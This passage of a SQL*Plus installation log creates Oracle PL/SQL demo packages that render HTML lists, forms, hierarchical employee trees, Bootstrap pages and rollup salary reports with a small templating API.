51 x.c('</table>');
52 end;
53
54 procedure user_procedures is
55 c sys_refcursor;
56 begin
57 x.p('<style>', 'table{border:1px solid;}th,td{padding:8px;}');
58 src_b.header;
59 x.p('<h2>', 'use table list(tl) and tb.cfg_content(sys_refcursor)');
60 open c for
61 select a.object_name, a.procedure_name, a.object_id
62 from user_procedures a
63 where rownum <= 3
64 order by a.object_type, a.object_name;
65 tb.cfg_init('table');
66 tb.cfg_add('pack', 'package', null, '30ex');
67 tb.cfg_add('proc', 'procedure');
68 tb.cfg_add('objid', 'objid');
69 x.o('<table rules=all>');
70 x.p(' <caption>', 'table list for sys_refcursor example');
71 tb.cfg_content(c);
72 x.c('</table>');
73 end;
74
75 end list_b;
76 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package M_MULTI_B
Creating package M_MULTI_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@m_multi_b.spc
SQL> create or replace package m_multi_b is
2
3 procedure wrap_each_array_value;
4
5 procedure wrap_array_in_loop;
6
7 procedure parse_render_st;
8
9 procedure parse_render_st_boolean;
10
11 procedure parse_render_cursor;
12
13 procedure nv_form_select_options;
14
15 procedure nv_form_radios;
16
17 procedure nv_form_checkboxes;
18
19 end m_multi_b;
20 /
Package created.
SQL> @@m_multi_b.bdy
SQL> create or replace package body m_multi_b is
2
3 procedure wrap_each_array_value is
4 begin
5 src_b.header;
6 x.o('<ol>');
7 m.w(' <li>', st('a', 'b'), '</li>');
8 x.c('</ol>');
9 x.p('<ul>', m.w('<li>', st('a', 'b'), '</li>'));
10
11 x.o('<ol>');
12 m.w('<li>@</li>', st('a', 'b'));
13 m.w('<li>@</li>', 'a,b');
14 x.c('</ol>');
15
16 x.p('<ul>', m.w('<li>@</li>', st('name', 'manager', 'phone', 'admin', 'level')));
17 x.p('<ul>', m.w('<li>@</li>', 'name,manager,phone,admin,level'));
18 end;
19
20 procedure wrap_array_in_loop is
21 v_total pls_integer := 0;
22 cursor c is
23 select a.object_name pack, count(a.procedure_name) pcnt
24 from user_procedures a
25 where a.object_type = 'PACKAGE'
26 and a.procedure_name is not null
27 group by a.object_name;
28 begin
29 src_b.header;
30 x.o('<table rules=all,cellspacing=8>');
31 x.p(' <thead>', x.p('<tr>', m.w('<th>@</th>', 'package,number of procedures')));
32 x.o(' <tbody>');
33 for i in c loop
34 x.p('<tr>', m.w('<td>', st(i.pack, i.pcnt), '</td>'));
35 v_total := v_total + i.pcnt;
36 end loop;
37 x.c(' </tbody>');
38 x.p(' <tfoot>', x.p('<tr>', m.w('<th>@</th>', st('total', v_total))));
39 x.c('</table>');
40 end;
41
42 procedure parse_render_st is
43 cursor c is
44 select rownum rid, a.object_name, a.object_type from user_objects a where rownum < = 3;
45 begin
46 src_b.header;
47 x.o('<table rules=all,cellspacing=8>');
48 x.p(' <caption>', 'm.parse once, m.render repeatly, high proformance');
49 m.p(' <tr><th>@</th><td>@</td><td>@</td></tr>', tmp.stv);
50 for i in c loop
51 m.r(tmp.stv, st(to_char(i.rid, '09'), i.object_type, i.object_name));
52 end loop;
53 x.c('</table>');
54 end;
55
56 procedure parse_render_st_boolean is
57 svs varchar2(4000) := r.getc('sv', 'AUTH_B,BASIC_IO_B');
58 cursor c is
59 select a.object_id, a.object_name from user_objects a where rownum < 10;
60 begin
61 src_b.header;
62 x.p('<h1>', 'checkboxes / procedure edition');
63 x.o('<fieldset>');
64 x.p(' <legend>', 'checkbox groups');
65 x.o(' <div>');
66 b.begin_template;
67 x.o(' <label>');
68 x.s(' <input @ type=checkbox,name=single,value=@>');
69 x.t(' @');
70 x.c(' </label>');
71 x.t(' <br/>');
72 m.p(tmp.stv);
73 for i in c loop
74 m.r(tmp.stv, st(t.tf(t.inlist(svs, i.object_name), 'checked'), i.object_id, i.object_name));
75 end loop;
76 x.c(' </div>');
77 x.c('</fieldset>');
78 end;
79
80 procedure parse_render_cursor is
81 cur sys_refcursor;
82 begin
83 src_b.header;
84 open cur for
85 select a.object_name, a.object_type from user_objects a where rownum <= 3;
86 x.p('<p>', 'sys_refcursor to simple fill ul list');
87 x.o('<ul>');
88 b.begin_template;
89 x.o(' <li>');
90 x.p(' <b>', '@');
91 x.p(' <small>', ' - (@)');
92 x.c(' </li>');
93 m.prc(cur);
94 x.c('</ul>');
95 end;
96
97 procedure nv_form_select_options is
98 cur sys_refcursor;
99 sv varchar2(4000) := r.getc('sv', 'AUTH_B');
100 svs varchar2(4000) := r.getc('sv', 'AUTH_B,BASIC_IO_B');
101 begin
102 src_b.header;
103
104 open cur for
105 select a.object_id, a.object_name from user_objects a where rownum < 10;
106 x.p('<h1>', 'multiple select options / procedure edition');
107 x.o('<select multiple name=select,size=6>');
108 m.nv('<option ?selected value="@"/>@</option>', cur, svs);
109 x.c('</select>');
110 x.t('<br/>');
111
112 open cur for
113 select a.object_id, a.object_name from user_objects a where rownum < 10;
114 x.p('<h1>', 'single select options / function edition');
115 x.p('<select name=select>', m.nv('<option ?selected value="@"/>@</option>', cur, sv));
116 x.t('<br/>');
117 end;
118
119 procedure nv_form_radios is
120 cur sys_refcursor;
121 sv varchar2(4000) := r.getc('sv', 'AUTH_B');
122 begin
123 src_b.header;
124 open cur for
125 select a.object_id, a.object_name from user_objects a where rownum < 10;
126 x.p('<h1>', 'radios / function edition');
127 x.o('<fieldset>');
128 x.p(' <legend>', 'radio groups');
129 x.p(' <div>', m.nv('<label><input ?checked type="radio" name="single" value="@"/>@</label><br/>', cur, sv));
130 x.c('</fieldset>');
131 end;
132
133 procedure nv_form_checkboxes is
134 cur sys_refcursor;
135 svs varchar2(4000) := r.getc('sv', 'AUTH_B,BASIC_IO_B');
136 begin
137 src_b.header;
138 open cur for
139 select a.object_id, a.object_name from user_objects a where rownum < 10;
140 x.p('<h1>', 'checkboxes / procedure edition');
141 x.o('<fieldset>');
142 x.p(' <legend>', 'checkbox groups');
143 x.o(' <div>');
144 m.nv(' <label><input ?checked type="checkbox" name="single" value="@"/>@</label><br/>', cur, svs);
145 x.c(' </div>');
146 x.c('</fieldset>');
147 end;
148
149 end m_multi_b;
150 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package LIST_B
Creating package LIST_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@list_b.spc
SQL> create or replace package list_b is
2
3 procedure user_objects;
4
5 procedure user_objects_cur;
6
7 procedure user_procedures;
8
9 end list_b;
10 /
Package created.
SQL> @@list_b.bdy
SQL> create or replace package body list_b is
2
3 procedure user_objects is
4 cursor c is
5 select *
6 from user_objects a
7 where a.object_name not like 'BIN$%'
8 and a.object_type not like '%PARTITION'
9 and rownum <= 3
10 order by a.object_type, a.object_name;
11 begin
12 x.p('<style>', 'table{border:1px solid;}th,td{padding:8px;}');
13 src_b.header;
14 x.p('<h2>', 'use table list(tl) and m.w(head,items,tail) in for SQL loop');
15 tb.cfg_init('table');
16 tb.cfg_add('oname', 'obj_name', 'left', '360px');
17 tb.cfg_add('otype', 'obj_type', 'left', '200px');
18 x.o('<table rules=all>');
19 x.p(' <caption>', 'table list format API example');
20 tb.cfg_cols_thead;
21 x.o(' <tbody>');
22 for i in c loop
23 x.p('<tr>', m.w('<td>', st(i.object_name, i.object_type), '</td>'));
24 end loop;
25 x.c(' </tbody>');
26 x.c('</table>');
27 end;
28
29 procedure user_objects_cur is
30 cur sys_refcursor;
31 begin
32 x.p('<h2>', 'use table list(tl) and m.c(tpl,sys_refcursor)');
33 src_b.header;
34 open cur for
35 select a.object_name, a.object_type
36 from user_objects a
37 where a.object_name not like 'BIN$%'
38 and a.object_type not like '%PARTITION'
39 and rownum <= 3
40 order by a.object_type, a.object_name;
41 tb.cfg_init('table');
42 tb.cfg_add('oname', 'obj_name', 'left', '360px');
43 tb.cfg_add('otype', 'obj_type', 'left', '200px');
44 x.p('<style>', 'table{border:1px solid;}th,td{padding:8px;}');
45 x.o('<table rules=all>');
46 x.p(' <caption>', 'table list format API example');
47 tb.cfg_cols_thead;
48 x.o(' <tbody>');
49 m.prc('<tr><td>@</td><td>@</td></tr>', cur);
50 x.c(' </tbody>');
51 x.c('</table>');
52 end;
53
54 procedure user_procedures is
55 c sys_refcursor;
56 begin
57 x.p('<style>', 'table{border:1px solid;}th,td{padding:8px;}');
58 src_b.header;
59 x.p('<h2>', 'use table list(tl) and tb.cfg_content(sys_refcursor)');
60 open c for
61 select a.object_name, a.procedure_name, a.object_id
62 from user_procedures a
63 where rownum <= 3
64 order by a.object_type, a.object_name;
65 tb.cfg_init('table');
66 tb.cfg_add('pack', 'package', null, '30ex');
67 tb.cfg_add('proc', 'procedure');
68 tb.cfg_add('objid', 'objid');
69 x.o('<table rules=all>');
70 x.p(' <caption>', 'table list for sys_refcursor example');
71 tb.cfg_content(c);
72 x.c('</table>');
73 end;
74
75 end list_b;
76 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package TREE_B
Creating package TREE_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@tree_b.spc
SQL> create or replace package tree_b is
2
3 procedure parse_render_in_loop;
4
5 procedure parse_open_render_cur_close;
6
7 procedure parse_render_cur_united;
8
9 procedure hier_node_level_in_loop;
10
11 procedure hier_node_all_types;
12
13 end tree_b;
14 /
Package created.
SQL> @@tree_b.bdy
SQL> create or replace package body tree_b is
2
3 procedure tree_css is
4 begin
5 x.l('<link>', '[bootstrap.css]');
6 b.l('<style>
7 .root {
8 font-size :36px;
9 }
10 .branch {
11 margin-left : 0.22em;
12 border-left: 1px solid silver;
13 padding-left : 0.82em;
14 }
15 .root > li,
16 .branch > li {
17 list-style: none;
18 }
19 .node {
20 line-height: 1.7;
21 }
22 .node > .handle {
23 font-size: 0.5em;
24 color: black;
25 }
26 .node > .icon {
27 font-size: 0.8em;
28 margin-left: 0.5em;
29 margin-right: 0.5em;
30 }
31 .node > a,
32 .node > b {
33 padding: 3px 10px 3px;
34 border: 1px solid silver;
35 border-radius: 6px;
36 }
37 .node > a:hover {
38 text-decoration: none;
39 background-color: silver;
40 }
41 </style>');
42 end;
43
44 procedure tree_css2 is
45 begin
46 x.l('<link>', '[bootstrap.css]');
47 x.j('<script>', '[jquery.js]');
48 x.j('<script>', '[bootstrap.js]');
49 b.l('<style>
50 .root {
51 font-size :36px;
52 }
53 .branch {
54 margin-left : 0.22em;
55 border-left: 1px solid silver;
56 padding-left : 0.82em;
57 }
58 .node {
59 line-height: 1.7;
60 }
61 .node > .handle {
62 font-size: 0.5em;
63 color: black;
64 }
65 .node > .icon {
66 font-size: 0.8em;
67 margin-left: 0.5em;
68 margin-right: 0.5em;
69 }
70 .node > .text {
71 padding: 3px 10px 3px;
72 border: 1px solid silver;
73 border-radius: 6px;
74 }
75 .node > a.text:hover {
76 text-decoration: none;
77 background-color: silver;
78 }
79 .handle.glyphicon:before {
80 color: silver;
81 }
82 .node.selected > .icon {
83 color: orange;
84 }
85 .node.selected > .text {
86 background-color: orange;
87 }
88 </style>
89 <script>
90 $(function(){
91 $(".root")
92 .on("click", ".icon, .text", function(e){
93 $(this).parent().toggleClass("selected");
94 })
95 .on("click", ".node > .handle", function(e){
96 $(this).parent().next(".branch").collapse("toggle");
97 })
98 .on("hidden.bs.collapse show.bs.collapse", ".collapse", function (event) {
99 event.stopPropagation()
100 $(this).prev().find(".handle")
101 .toggleClass("glyphicon-triangle-bottom")
102 .toggleClass("glyphicon-triangle-right");
103 })
104 .find(".node").each(function(){
105 console.log(".node", $(this).text());
106 }).filter(function(){
107 return $(this).next(".branch").length === 0;
108 }).find(".handle")
109 .removeClass("glyphicon-triangle-right")
110 .addClass("glyphicon-unchecked");
111 });
112 </script>');
113
114 end;
115
116 procedure parse_render_in_loop is
117 cursor c is
118 select e.*,
119 level as lvl,
120 connect_by_isleaf as is_leaf,
121 sys_connect_by_path(last_name, '/') as path,
122 connect_by_root last_name as manager
123 from employees e
124 start with e.manager_id = (select a.employee_id from employees a where a.manager_id is null)
125 connect by prior e.employee_id = e.manager_id
126 order siblings by e.last_name asc;
127 begin
128 src_b.header;
129 tree_css2;
130 x.o('<div.container-fluid>');
131 x.p('<h2>', 'use tree.p, tree.o, tree,r, tree.c to print tree');
132
133 x.o('<div.root>');
134 b.begin_template;
135 x.o('<div.node>');
136 x.p(' <i.handle.glyphicon.glyphicon-triangle-right>');
137 x.p(' <i.icon.glyphicon.glyphicon-user>');
138 x.a(' <a.text>', '@ @', 'tele://@ ');
139 x.c('</div>');
140 x.t('|');
141 x.p(' <div.branch.collapse>', '|');
142 x.t('|');
143 b.end_template(tmp.s);
144 tr.p(tmp.s, tmp.stv);
145 tr.o(true);
146 for i in c loop
147 tr.r(i.lvl, tmp.stv, st(i.phone_number, i.first_name, i.last_name));
148 end loop;
149 tr.c;
150 x.c('</div>');
151 end;
152
153 procedure parse_open_render_cur_close is
154 cur sys_refcursor;
155 begin
156 src_b.header;
157 tree_css2;
158 x.p('<h2>', 'use tree.rc(sys_refcursor) to print tree');
159 open cur for
160 select level as lvl, e.phone_number, e.first_name, e.last_name
161 from employees e
162 start with e.manager_id = (select a.employee_id from employees a where a.manager_id is null)
163 connect by prior e.employee_id = e.manager_id
164 order siblings by e.last_name asc;
165 x.o('<div.root>');
166 b.begin_template;
167 x.o('<div.node>');
168 x.p(' <i.handle.glyphicon.glyphicon-triangle-right>');
169 x.p(' <i.icon.glyphicon.glyphicon-user>');
170 x.a(' <a.text>', '@ @', 'tele://@ ');
171 x.c('</div>');
172 x.t('|');
173 x.p(' <div.branch.collapse>', '|');
174 x.t('|');
175 b.end_template(tmp.s);
176 tr.p(tmp.s, tmp.stv);
177 tr.o(true);
178 tr.rc(tmp.stv, cur);
179 tr.c(tmp.stv);
180 x.c('</ul>');
181 end;
182
183 procedure parse_render_cur_united is
184 cur sys_refcursor;
185 begin
186 src_b.header;
187 tree_css2;
188 x.p('<h2>', 'use tree.prc(sys_refcursor) to print tree in one step');
189 open cur for
190 select level as lvl, e.phone_number, e.first_name, e.last_name
191 from employees e
192 start with e.manager_id = (select a.employee_id from employees a where a.manager_id is null)
193 connect by prior e.employee_id = e.manager_id
194 order siblings by e.last_name asc;
195 x.o('<div.root>');
196 b.begin_template;
197 x.o('<div.node>');
198 x.p(' <i.handle.glyphicon.glyphicon-triangle-right>');
199 x.p(' <i.icon.glyphicon.glyphicon-user>');
200 x.a(' <a.text>', '@ @', 'tele://@ ');
201 x.c('</div>');
202 x.t('|');
203 x.p(' <div.branch.collapse>', '|');
204 x.t('|');
205 b.end_template(tmp.s);
206 tr.prc(tmp.s, cur, pretty => true);
207 x.c('</ul>');
208 end;
209
210 procedure hier_node_level_in_loop is
211 cur sys_refcursor;
212 begin
213 src_b.header;
214 tree_css;
215 x.p('<h2>', 'use tree.p, tree.o, tree,r, tree.n(by level), tree.c to print tree');
216 x.o('<ul.root>');
217 b.begin_template;
218 x.o('<li.xing-@>');
219 x.o(' <span.node>');
220 x.p(' <i.handle.glyphicon.glyphicon-plus>');
221 x.p(' <i.icon.glyphicon.glyphicon-user>');
222 x.a(' <a>', '@', 'see?pid=@ ');
223 x.c(' </span>');
224 x.t('|');
225 x.p(' <ul.branch>', '|');
226 x.t('|');
227 x.c('</li>');
228 b.end_template(tmp.s);
229 tr.p(tmp.s, tmp.stv);
230 tr.o(true);
231 for a in (select level, substr(a.name, 1, 1), a.pid, a.name
232 from emp_t a
233 start with a.name = 'Li Xinyan'
234 connect by a.ppid = prior a.pid) loop
235 tr.n(a.level, m.r(tmp.stv, st(substr(a.name, 1, 1), a.pid, a.name)));
236 end loop;
237 tr.c;
238 x.c('</ul>');
239 end;
240
241 procedure hier_node_all_types is
242 begin
243 src_b.header;
244 x.p('<h2>', 'use tree.p, tree.o, tree.n(all types), tree.c to print tree');
245 x.o('<ul>');
246 tr.o(true);
247
248 tr.n(1, '<li>' || x.a('<a>', 'file', '#'));
249 tr.n(2, '<li>' || x.a('<a>', 'new', '#'));
250 tr.n(2, '<li>' || x.a('<a>', 'open', '#'));
251 tr.n(2, '<li>' || x.a('<a>', 'close', '#'));
252 tr.n(3, '<li>' || x.a('<a>', 'close all', '#'));
253 tr.n(3, '<li>' || x.a('<a>', 'close current', '#'));
254 tr.n(2, '<li>' || x.a('<a>', 'save', '#'));
255 tr.n(3, '<li>' || x.a('<a>', 'save all', '#'));
256 tr.n(3, '<li>' || x.a('<a>', 'save current', '#'));
257
258 tr.n(' ', '<li>' || x.a('<a>', 'file', '#'));
259 tr.n(' ', '<li>' || x.a('<a>', 'new', '#'));
260 tr.n(' ', '<li>' || x.a('<a>', 'open', '#'));
261 tr.n(' ', '<li>' || x.a('<a>', 'close', '#'));
262 tr.n(' ', '<li>' || x.a('<a>', 'close all', '#'));
263 tr.n(' ', '<li>' || x.a('<a>', 'close current', '#'));
264 tr.n(' ', '<li>' || x.a('<a>', 'save', '#'));
265 tr.n(' ', '<li>' || x.a('<a>', 'save all', '#'));
266 tr.n(' ', '<li>' || x.a('<a>', 'save current', '#'));
267
268 tr.n(' <li>' || x.a('<a>', 'file', '#'));
269 tr.n(' <li>' || x.a('<a>', 'new', '#'));
270 tr.n(' <li>' || x.a('<a>', 'open', '#'));
271 tr.n(' <li>' || x.a('<a>', 'close', '#'));
272 tr.n(' <li>' || x.a('<a>', 'close all', '#'));
273 tr.n(' <li>' || x.a('<a>', 'close current', '#'));
274 tr.n(' <li>' || x.a('<a>', 'save', '#'));
275 tr.n(' <li>' || x.a('<a>', 'save all', '#'));
276 tr.n(' <li>' || x.a('<a>', 'save current', '#'));
277
278 tr.n(' <li>', x.a('<a>', 'file', '#'));
279 tr.n(' <li>', x.a('<a>', 'new', '#'));
280 tr.n(' <li>', x.a('<a>', 'open', '#'));
281 tr.n(' <li>', x.a('<a>', 'close', '#'));
282 tr.n(' <li>', x.a('<a>', 'close all', '#'));
283 tr.n(' <li>', x.a('<a>', 'close current', '#'));
284 tr.n(' <li>', x.a('<a>', 'save', '#'));
285 tr.n(' <li>', x.a('<a>', 'save all', '#'));
286 tr.n(' <li>', x.a('<a>', 'save current', '#'));
287
288 tr.c;
289 x.c('</ul>');
290 end;
291
292 end tree_b;
293 /
Package body created.
SQL>
SQL> prompt css framework integration demos
css framework integration demos
SQL>
SQL> prompt
SQL> prompt Creating package BOOTSTRAP_B
Creating package BOOTSTRAP_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@bootstrap_b.spc
SQL> create or replace package bootstrap_b is
2
3 procedure packages;
4
5 procedure show_code;
6
7 procedure tables;
8
9 procedure images;
10
11 end bootstrap_b;
12 /
Package created.
SQL> @@bootstrap_b.bdy
SQL> create or replace package body bootstrap_b is
2
3 -- public
4 procedure use_lib is
5 begin
6 b.l('<!DOCTYPE html>');
7 o.t('<html>');
8 o.t(' <head>');
9 o.t(' <meta name=viewport content="width=device-width, initial-scale=1"/>');
10 o.u(' <link rel=stylesheet/>', '[bootstrap.css]');
11 o.u(' <script>', '[jquery.js]', '');
12 o.u(' <script>', '[bootstrap.js]', '');
13 o.t(' </head>');
14 o.t(' <body>');
15 o.t('<h2>', o.u('<a target=_blank>', 'http://getbootstrap.com/', 'bootstrap official site'));
16 end;
17
18 procedure navs(p_type varchar2) is
19 begin
20 o.p(1, p_type = 'packages');
21 o.p(2, p_type = 'tables');
22 o.p(3, p_type = 'images');
23 o.t('<ul.nav.nav-tabs.nav-pills.nav-justified>');
24 o.t(' <li.active?>', o.u('<a>', '@b.packages', 'packages'));
25 o.t(' <li.active?>2', o.u('<a>', '@b.tables', 'tables'));
26 o.t(' <li.dropdown.active?>3');
27 o.u(' <a.dropdown-toggle -toggle=dropdown>', '@b.images', 'images ' || o.t('<span.caret>', ''));
28 o.t(' <ul.dropdown-menu>');
29 o.t(' <li>', o.u('<a>', '@b.images?cols=1', '1'));
30 o.t(' <li>', o.u('<a>', '@b.images?cols=2', '2'));
31 o.t(' <li>', o.u('<a>', '@b.images?cols=3', '3'));
32 o.t(' <li>', o.u('<a>', '@b.images?cols=4', '4'));
33 o.t(' <li>', o.u('<a>', '@b.images?cols=6', '6'));
34 o.t(' </ul>');
35 o.t(' </li>');
36 o.t('</ul>');
37 o.t('<div.container-fluid>');
38 end;
39
40 procedure packages is
41 p_oname varchar2(100) := upper(nvl(r.getc('oname', '%'), '%'));
42 begin
43 use_lib;
44 --o.t('<h1>', lengthb(p_oname));
45 navs('packages');
46
47 -- form
48 o.u('<form.form-inline role=form method=get>', r.prog);
49 o.t(' <div.form-group>');
50 o.t(' <lable>', 'object name');
51 o.t(' <input.form-control type=text name=oname placeholder=%/>');
52 o.t(' </div>');
53 o.t(' <div.form-group>');
54 o.t(' <lable>', 'create after');
55 o.t(' <input.form-control type=datetime name=created placeholder="created after"/>');
56 o.t(' </div>');
57 o.t(' <input.btn.btn-primary type=submit/>');
58 o.t('</form>');
59
60 --o.t('<div.table-responsive>');
61 o.t('<table.table.table-striped.table-bordered.table-hover.table-condensed>');
62 o.t(' <thead>');
63 o.t(' <tr>');
64 o.t(' <th>', 'object name');
65 o.t(' <th>', 'create time');
66 o.t(' <th>', 'operations');
67 o.t(' </tr>');
68 o.t(' </thead>');
69 o.t(' <tbody>');
70 for i in (select a.*
71 from user_objects a
72 where a.object_type = 'PACKAGE'
73 and a.object_name like p_oname) loop
74 o.t('<tr>');
75 o.t(' <td>', i.object_name);
76 o.t(' <td>', i.created);
77 o.t(' <td>',
78 o.u('<a.btn.btn-sm.btn-default role=button>',
79 '@b.show_code?pack=' || i.object_name,
80 o.t('<span.glyphicon.glyphicon-eye-open>', '') || ' view'));
81 o.t('</tr>');
82 end loop;
83 o.t(' </tbody>');
84 o.t('</table>');
85 --o.t('</div>');
86 end;
87
88 procedure tables is
89 p_oname varchar2(100) := upper(nvl(r.getc('oname', '%'), '%'));
90 begin
91 use_lib;
92 navs('tables');
93
94 o.t('<table.table.table-bordered>');
95 o.t(' <thead>');
96 o.t(' <tr>');
97 o.t(' <th>', 'table name');
98 o.t(' <th>', 'num-of-rows');
99 o.t(' <th>', 'partition');
100 o.t(' <th>', 'operations');
101 o.t(' </tr>');
102 o.t(' </thead>');
103 o.t(' <tbody>');
104 for i in (select a.* from user_tables a where a.table_name like p_oname) loop
105 o.t('<tr>');
106 o.t(' <td>', i.table_name);
107 o.t(' <td>', i.num_rows);
108 o.t(' <td>', i.partitioned);
109 o.t(' <td>', o.u('<a>', '@b.table_detail?tname=' || i.table_name, ' view'));
110 o.t('</tr>');
111 end loop;
112 o.t(' </tbody>');
113 o.t('</table>');
114 end;
115
116 procedure show_code is
117 p_pack varchar2(32) := r.getc('pack');
118 v_flag boolean := true;
119 begin
120 use_lib;
121 o.t('<div.dropdown.pull-right style="display:inline-block;">');
122 o.t(' <button.btn.btn-default.dropdown-toggle -toggle=dropdown>', 'navigate ' || o.t('<span.caret>', ''));
123 o.t(' <ul.dropdown-menu.dropdown-menu-right>');
124 o.t(' <li>', o.u('<a>', '#spec', 'go spec'));
125 o.t(' <li>', o.u('<a>', '#body', 'go body'));
126 o.t(' <li>', o.u('<a>', '#end', 'go end'));
127 o.t(' <li.divider>', '');
128 o.t(' <li>', o.u('<a>', r.referer, 'go back'));
129 o.t(' </ul>');
130 o.t('</div>');
131
132 o.t('<pre>');
133 o.t('<a name=spec>', '');
134 for i in (select a.* from user_source a where a.name = p_pack order by a.type asc, a.line asc) loop
135 if v_flag and i.type = 'PACKAGE BODY' then
136 b.l('<hr/>');
137 v_flag := false;
138 o.t('<a name=body>', '');
139 end if;
140 b.l(t.e(replace(replace(i.text, chr(10), ''), chr(9), ' ')));
141 end loop;
142 o.t('<a name=end>', '');
143 o.t('</pre>');
144 end;
145
146 procedure button_toolbar is
147 v_st st := st('lg', '', 'sm', 'xs');
148 v_base varchar2(100) := r.prog || '?cols=';
149 begin
150 o.t('<div.btn-toolbar style=margin:3px 6px;>');
151 for i in 1 .. 4 loop
152 o.p(1, v_st(i));
153 o.t('<div.btn-group.btn-group-?>');
154 o.u(' <a.btn.btn-default>', v_base || '1', '1');
155 o.u(' <a.btn.btn-default>', v_base || '2', '2');
156 o.u(' <a.btn.btn-default>', v_base || '3', '3');
157 o.u(' <a.btn.btn-default>', v_base || '4', '4');
158 o.u(' <a.btn.btn-default>', v_base || '6', '6');
159 o.t('</div>');
160 end loop;
161 o.t('</div>');
162 end;
163
164 procedure images is
165 begin
166 use_lib;
167 navs('images');
168 button_toolbar;
169 o.p(1, r.getc('cols', '3'));
170 o.t('<div.container>');
171 o.t(' <div.row>');
172 for i in 1 .. 24 loop
173 o.t('<div.col-xs-?>', o.u('<img.img-responsive.img-thumbnail.img-circle/>', '^img/larry.jpg'));
174 end loop;
175 o.t(' </div>');
176 o.t('</div>');
177 end;
178
179 end bootstrap_b;
180 /
Warning: Package Body created with compilation errors.
SQL>
SQL> prompt
SQL> prompt Creating package JQM_B
Creating package JQM_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@jqm_b.spc
SQL> create or replace package jqm_b is
2
3 procedure main;
4
5 end jqm_b;
6 /
Package created.
SQL> @@jqm_b.bdy
SQL> create or replace package body jqm_b is
2
3 procedure main is
4 begin
5 null;
6 end;
7
8 end jqm_b;
9 /
Package body created.
SQL>
SQL> prompt high-level demos
high-level demos
SQL> @@aggregation_b.spc
SQL> create or replace package aggregation_b is
2
3 procedure emp_managers;
4
5 procedure emp_salaries;
6
7 procedure emp_groups_list;
8
9 procedure job_dept_sals;
10
11 procedure dept_job_sals;
12
13 end aggregation_b;
14 /
Package created.
SQL> @@aggregation_b.bdy
SQL> create or replace package body aggregation_b is
2
3 procedure common_css is
4 begin
5 b.l('<style>
6 .center {text-align: center;}
7 .border {border: 3px solid gray;}
8 .darkbg {background-color: silver;}
9 .table th.middle {vertical-align: middle;}
10 .flag {color:green}
11 .indent {text-indent:2em;}
12 </style>');
13 end;
14
15 procedure common_preface is
16 begin
17 src_b.header;
18 o.u('<link rel=stylesheet/>', '[bootstrap.css]');
19 o.u('<link rel=stylesheet/>', '[animate.css]');
20 common_css;
21 o.t('<div.container.animated.zoomInDown>');
22 end;
23
24 function badge(cnt pls_integer) return varchar2 is
25 begin
26 return ' ' || o.t('<span.badge>', cnt);
27 end;
28
29 procedure emp_managers is
30 cursor c is
31 select e.*,
32 level as lvl,
33 connect_by_isleaf as is_leaf,
34 sys_connect_by_path(last_name, '/') as path,
35 connect_by_root last_name as manager
36 from employees e
37 start with e.manager_id = (select a.employee_id from employees a where a.manager_id is null)
38 connect by prior e.employee_id = e.manager_id
39 order siblings by e.last_name asc;
40 begin
41 --p.h('u:hierachical.css,u:pw/pw.js,u:pw/treeble.js,u:.js');
42 common_preface;
43 o.t('<table#report.table.table-bordered.table-hover rules=all>');
44 o.t(' <caption.center>', 'staff hierachy with level');
45 tmp.s := 'name,staff_num,grade,manager,leaf,path';
46 o.t(' <thead.border.darkbg>', o.t('<tr>', m.w('<th>@</th>', tmp.s)));
47 o.t(' <tbody.border>');
48 for i in c loop
49 o.p(1, i.is_leaf != 1);
50 o.p(2, i.is_leaf = 1);
51 o.t('<tr>');
52 o.t(' <th>', rpad(' ', (i.lvl - 1) * 6 * 4 + 1, ' ') || i.first_name || ' ' || i.last_name);
53 o.t(' <td>', i.employee_id);
54 o.t(' <td>', i.lvl);
55 o.t(' <td>', o.t('<span.flag.glyphicon.glyphicon-ok?>', ''));
56 o.t(' <td>', o.t('<span.flag.glyphicon.glyphicon-ok?>2', ''));
57 o.t(' <td>', i.path);
58 o.t('</tr>');
59 end loop;
60 end;
61
62 procedure emp_salaries is
63 cursor c is
64 select grouping_id(d.department_name, e.employee_id) gid,
65 d.department_name,
66 e.employee_id,
67 max(e.first_name || ' ' || e.last_name) as fname,
68 sum(e.salary) sal,
69 count(*) cnt,
70 avg(e.salary) avg
71 from employees e, departments d
72 where e.department_id = d.department_id
73 group by rollup(d.department_name, e.employee_id)
74 order by 2 nulls last, 1 desc, 5 desc;
75 begin
76 common_preface;
77 o.t('<table#report.table.table-bordered.table-hover rules=all>');
78 o.t(' <caption.center>', 'group by with one-level rollup example');
79 tmp.s := 'dept,emp,name,salary';
80 o.t(' <thead.border.darkbg>', o.t('<tr>', m.w('<th>@</th>', tmp.s)));
81 o.t(' <tbody.border>');
82 for i in c loop
83 case i.gid
84 when 1 then
85 o.p(1, i.cnt + 1);
86 o.t('<tr>');
87 o.t(' <th rowspan=?>', i.department_name);
88 m.w(' <td>', st(badge(i.cnt), trunc(i.avg) || ' * ' || i.cnt, i.sal), '</td>');
89 o.t('</tr>');
90 when 0 then
91 o.t('<tr>', m.w('<td>', st(i.employee_id, i.fname, i.sal), '</td>'));
92 when 3 then
93 o.t('</tbody>');
94 o.t('<tfoot.border.darkbg>');
95 o.t(' <tr>');
96 o.t(' <th>', 'ALL DEPT');
97 m.w(' <td>', st(badge(i.cnt), trunc(i.avg) || ' * ' || i.cnt, i.sal), '</td>');
98 o.t(' </tr>');
99 o.t('</tfoot>');
100 end case;
101 end loop;
102 end;
103
104 procedure emp_groups_list is
105 v_in_tr boolean := false;
106 cursor c is
107 select r.region_name,
108 c.country_name,
109 l.city,
110 d.department_name,
111 e.employee_id,
112 max(e.first_name || ' ' || e.last_name) as fname,
113 count(*) cnt,
114 grouping(r.region_name) r,
115 grouping(c.country_name) c,
116 grouping(l.city) l,
117 grouping(d.department_name) d,
118 grouping(e.employee_id) e
119 from employees e
120 join departments d
121 using (department_id)
122 join locations l
123 using (location_id)
124 join countries c
125 using (country_id)
126 join regions r
127 using (region_id)
128 where department_id is not null
129 group by rollup(r.region_name, c.country_name, l.city, d.department_name, e.employee_id)
130 order by 1, 2 nulls first, 3 nulls first, 4 nulls first, 5 nulls first, 6;
131 begin
132 common_preface;
133 o.t('<table#report.table.table-bordered.table-hover rules=all>');
